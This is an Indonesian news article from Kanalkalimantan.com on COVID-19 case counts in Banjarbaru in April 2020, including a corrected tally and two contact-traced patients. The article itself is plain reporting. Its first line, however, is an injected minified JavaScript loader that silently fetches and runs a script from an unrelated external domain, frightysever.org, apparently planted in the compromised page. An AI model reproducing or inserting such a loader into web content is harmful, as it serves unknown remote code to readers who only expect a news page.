(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gugus Tugas Pencegahan Pengendalian Penanganan (P3) Covid-19 Kalimantan Selatan menyatakan jumlah kasus positif covid-19 telah mencapai angka 107 kasus, pada Rabu (22/4/2020) sore. Dalam hal ini, ada terjadi penambahan kasus di beberapa daerah, seperti halnya di Kota Banjarbaru.
Terjadi penambahan 3 di kota Banjarbaru. Sehingga jumlah kasus positif Covid-19 di Banjarbaru sebelumnya 11 kasus, kini tercatat 14 kasus terkonfirmasi positif Covid-19.
Belakangan penambahan kasus positif Covid-19 itu disebut Juru Bicara Gugus Tugas P3 Covid-19 Banjarbaru, Rizana Mirza, mengalami kekeliruan. Ia mengatakan bahwa pada hari ini terjadi penambahan 2 kasus Covid-19 di Banjarbaru.
“Kami sudah mengecek 1 kasus dan ternyata yang bersangkutan adalah warga Kabupaten Banjar. Bukan warga Banjarbaru. Jadi hanya terjadi penambahan 2 kasus saja dan total kasus positif Covid-19 di Banjarbaru hari ini adalah 13 kasus,” katanya, melalui sambungan telepon.
Dijelaskan Rizana, untuk 2 kasus baru covid-19 di Banjarbaru ini diberikan kode BJB-12 dan BJB-13. Untuk kode BJB-12 ialah seorang laki-laki, berumur 40 tahun, bertempat tinggal Kelurahan Guntung Manggis, Kecamatan Landasan Ulin. Sedangkan untuk kode BJB-13 adalah laki-laki, umur 37 tahun, Kelurahan Guntung Paikat, Kecamatan Banjarbaru Selatan.
Terkait mengapa BJB-12 dan BJB-13 bisa terpapar, Rizana mengungkapkan bahwa kedua orang tersebut merupakan hasil tracing kontak penelusuran dari pasien Covid-19 yang pernah di rawat di Rumah Sakit Daerah (RSD) Idaman Banjarbaru.
“Kita melakukan tracing dan menemukan BJB-12 dan BJB-13 pernah melakukan kontak dengan pasien covid-19 yang pernah di rawat di RSD Idaman Banjarbaru. Setelah kita lakukan hasil tes swab, BJB-12 dan BJB-13 dinyatakan terpapar,” pungkasnya.
Menurut data yang dimiliki Kanalkalimantan.com, pasien Covid-19 yang pernah dirawat di RSD Idaman Banjarbaru ialah kasus dengan kode BJB-03 dan BJB-04. Artinya, diantara BJB-03 dan BJB-04 pernah menjalin kontak dengan BJB-12 dan BJB-13. Kini, tim Gugus Tugas telah melakukan mengevakuasi BJB-12 dan BJB-13 ke Rumah Sakit Ulin Banjarmasin untuk menjalani isolasi dan perawatan. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.